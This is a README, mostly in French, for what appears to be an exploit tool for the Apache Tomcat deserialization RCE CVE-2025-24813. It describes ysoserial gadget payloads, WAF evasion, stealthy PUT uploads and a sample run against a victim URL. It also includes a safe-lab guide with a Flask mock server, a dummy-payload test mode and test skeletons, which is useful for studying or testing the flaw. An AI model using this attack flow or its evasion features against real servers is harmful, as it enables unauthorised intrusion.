
Ce dépôt contient un exploit automatisé développé à des fins éducatives et de recherche en cybersécurité, visant à démontrer une potentielle vulnérabilité d’exécution de code à distance (RCE) dans Apache Tomcat (CVE-2025-24813).
Cet outil a été conçu comme une suite d'exploitation futuriste axée sur :
🧪 Conçue pour les professionnels de la cybersécurité, chercheurs, pentesters et red teams.
✅ Interface interactive et intuitive
✅ Payloads dynamiques (ysoserial ou Java compilé)
✅ En-têtes caméléons anti-WAF
✅ Évasion automatique + fragmentation des payloads
✅ Empreinte d'exécution sur le backend (fingerprinting)
✅ Journalisation détaillée par cible
✅ Bannière style cyberpunk dynamique (🔮 animation glitch)
✅ Live feedback dans la console (avec Rich & Colorama)
Installez les dépendances nécessaires avec :
pip install -r requirements.txt
Dépendances :
requests
colorama
rich
validators
Et assurez-vous d'avoir :
Java et javac dans le PATHysoserial.jar si vous utilisez un payload de type ysoserialExécutez le script :
python3 POC-Exploit_CVE_2025_24813.py
Et complétez la configuration :
🧬 Sélectionnez le type de payload 💣 Spécifiez la commande 🌐 Entrez l'URL cible 🔧 Ajustez l'évasion et la configuration SSL
🔗 [?] Entrez l'URL cible : https://victime.org
💣 [?] Commande à exécuter : whoami
🧬 [?] Type de payload : ysoserial
📂 [?] Chemin vers ysoserial.jar : ysoserial.jar
🔧 [?] Gadget : CommonsCollections6
🔐 [?] Vérifier SSL ? (oui/non) : non
🚀 Exécution en cours...
🧬 WAF détecté... changement de stratégie
⚙️ Téléchargement du payload en cours...
💥 Confirmation d'exécution à distance
✅ Résultat : 'apache'
┌──────────────────────────────┐
│ Mode Interactif │
├──────────────────────────────┤
│ Validation d'URL │
│ Détection de session │
│ Détection de WAF │
│ Génération de payload │
│ Téléchargement furtif via PUT │
│ Vérification d'exécution │
└──────────────────────────────┘
↘ JOURNAUX PAR CIBLE
ysoserial, sérialise des gadgets vulnérables pour exécuter des commandes..java personnalisé qui exécute la commande à distance depuis le serveur.CommonsCollections6Spring1Jdk7u21POC-Exploit_CVE_2025_24813.py # Script principal
ysoserial.jar # Requis si vous utilisez 'ysoserial'
logs/ # Dossier de journaux individuels par cible
payload.ser # Payload généré temporairement
Exploit.java / .class # Fichiers temporaires pour Java
Cet outil a été créé à des fins exclusivement légales et éducatives.
✅ Autorisé :
🚫 Interdit :
Ni l'auteur ni les contributeurs ne sont responsables d'une mauvaise utilisation. Vous êtes responsable de votre conduite.
ysoserial, Java, Rich, Colorama, requests📄 CVE-2025-24813 : Apache Tomcat Remote Code Execution 🔗 Voir les détails sur CVE MITRE
MIT License
Copyright (c) 2025
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files...
Consultez le fichier
LICENSEpour plus d'informations.
Ce README et ce script sont conçus pour une expérience immersive, visuelle et élégante, en phase avec une nouvelle ère de cybersécurité futuriste et avec un but.
✨ Pas seulement des exploits... c'est une symphonie technique d'évasion et de contrôle numérique.
Version recommandée : Python 3.8+
Bibliothèques Python à installer :
pip install requests colorama
Le script utilise deux formes de payloads :
Pour cela, vous avez besoin de :
Java JDK (pas seulement JRE, car du code est compilé). Vérifiez avec :
java -version
javac -version
Si les deux commandes fonctionnent, vous êtes prêt.
Téléchargez le .jar depuis ici 👉 https://github.com/frohoff/ysoserial
Placez-le dans le même répertoire que le script ou indiquez le chemin complet lorsqu'on vous le demande. Exemple :
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > test.ser
calc.exe) ouvrira la calculatrice.gnome-calculator ou xcalc.Installer Python 3.8+
Installer les bibliothèques :
pip install requests colorama etc
Installer Java JDK 8+
java -version
javac -version
Télécharger ysoserial.jar dans le dossier du script.
👉 Avec tout cela, vous pourrez exécuter le script en mode laboratoire sécurisé (uniquement dans des environnements contrôlés, pour les tests).
Version : 1.0 Objectif : Ce guide explique comment préparer un environnement totalement sécurisé pour tester le script que vous avez, sans affecter les systèmes réels. Il comprend un serveur de test (mock), un mode sécurisé (DRY_RUN / SAFE_TEST), et des étapes claires pour exécuter l'outil en laboratoire.
pip disponible.virtualenv ou venv.Installez les dépendances :
python3 -m venv .venv
source .venv/bin/activate # Linux / macOS
.\.venv\Scripts\activate # Windows (PowerShell/Command Prompt)
pip install -U pip
pip install requests colorama flask
Remarque :
flaskest utilisé uniquement pour le serveur de test local (mock).
Créez un fichier mock_server.py avec ce contenu. Le serveur simule les endpoints attendus par le script et renvoie des états contrôlés (200, 409, 500) afin que vous puissiez valider la logique du script sans toucher à des serveurs réels.
# mock_server.py — servidor de pruebas seguro
from flask import Flask, request, make_response, jsonify
app = Flask(__name__)
uploads = {}
@app.route('/index.jsp', methods=['GET'])
def index():
# Simula una página que puede devolver una cookie JSESSIONID o un texto con "Session ID"
resp = make_response('Index page — Session ID: testsession')
resp.set_cookie('JSESSIONID', 'testsession')
return resp
@app.route('/check.txt', methods=['PUT'])
def check_put():
# Simula un recurso escribible
return ('OK', 200)
@app.route('/uploads/../sessions/<session_id>.session', methods=['PUT'])
def upload_session(session_id):
# Simula que la subida fue aceptada pero retorna 409 (comportamiento que el script espera)
uploads[session_id] = True
return ('Conflict - uploaded', 409)
@app.route('/', methods=['GET'])
def root():
# Si la cookie coincide y la sesión fue "subida", devolvemos 500 para simular fallo por deserialización
session = request.cookies.get('JSESSIONID')
if session and uploads.get(session):
return ('Internal Server Error', 500)
return ('Hello from mock server', 200)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000, debug=True)
Comment l'exécuter :
python mock_server.py
# El mock quedará escuchando en http://127.0.0.1:8000
Pour les tests, vous n'avez pas besoin de générer de vrais payloads. Créez un fichier simple que le script peut télécharger :
echo "DUMMY_PAYLOAD" > payload.ser
Ce fichier ne contient pas de code exécutable : il sert uniquement à valider la logique de téléchargement et à voir les réponses du serveur mock.
Pour éviter que le script n'invoque des utilitaires externes (Java/ysoserial) ou n'exécute des actions dangereuses, ajoutez ce bloc au début du script principal (avant toute génération/appel à subprocess) :
import os
SAFE_TEST = os.environ.get('SAFE_TEST', '0') == '1'
Ensuite, modifiez (ou enveloppez) les fonctions de génération/téléchargement pour qu'elles se comportent de manière sécurisée lorsque SAFE_TEST est True.
Exemple de modification minimale pour generate_ysoserial_payload et generate_java_payload :
def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST activo — creando payload dummy (no ejecutable)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_PAYLOAD")
return payload_file
# --- comportamiento original solo si SAFE_TEST == False ---
def generate_java_payload(command, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST activo — creando payload java dummy (no ejecutable)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_JAVA_PAYLOAD")
return payload_file
# --- comportamiento original solo si SAFE_TEST == False ---
Et dans upload_and_verify_payload, si SAFE_TEST est True, utilisez le flux normal (le mock l'acceptera) mais n'exécutez pas de commandes en dehors du script.
Comment activer SAFE_TEST :
Linux/macOS :
export SAFE_TEST=1
Windows (PowerShell) :
$env:SAFE_TEST = "1"
Lancez votre environnement virtuel et assurez-vous d'avoir les dépendances installées (voir section Prérequis).
Lancez le mock_server.py :
python mock_server.py
Créez le payload factice si vous n'utilisez pas SAFE_TEST ou s'il ne crée pas le payload pour vous :
echo "DUMMY_PAYLOAD" > payload.ser
Activez le mode sécurisé dans le terminal :
export SAFE_TEST=1 # Linux/macOS
# o en PowerShell: $env:SAFE_TEST = "1"
Exécutez le script principal :
python3 tu_script.py
Répondez aux invites (vous utiliserez des valeurs de laboratoire) :
http://127.0.0.1:8000ysoserial (le script, avec SAFE_TEST=1, créera un payload factice au lieu d'invoquer des outils externes)ysoserial.jar — ne sera pas utilisé en mode sécurisé)no (votre mock utilise HTTP)Observez la sortie console : vous devriez voir les messages Server is writable via PUT, Payload uploaded with status 409 et Exploit succeeded! Server returned 500 after deserialization. — c'est uniquement sur le mock et signifie que le flux logique du script fonctionne.
Vérifiez les journaux dans logs/ — le script enregistre des entrées avec des horodatages. Par exemple logs/127_0_0_1_8000.log (selon le nom de cible assaini).
check_writable_servlet détecte le PUT réussi sur l'endpoint /check.txt.payload.ser, le mock renvoie 409 et que le script fasse ensuite un GET avec le cookie JSESSIONID.Utilisez pytest et requests-mock pour simuler des réponses HTTP.
Créez des tests pour :
validate_url — entrées valides/erronées.retry_request — simuler des exceptions et des tentatives.detect_waf — simuler des en-têtes Server avec et sans signatures.upload_and_verify_payload — utiliser le mock du serveur pour valider le flux.Exemple simple avec requests-mock (squelette) :
# test_script.py
import requests
import requests_mock
from tu_script import validate_url, retry_request
def test_validate_url():
assert validate_url('http://127.0.0.1:8000')
assert not validate_url('notaurl')
def test_retry_request_success():
# usa requests_mock para simular un GET y comprobar retry_request
pass
Auteur : ByMakaveli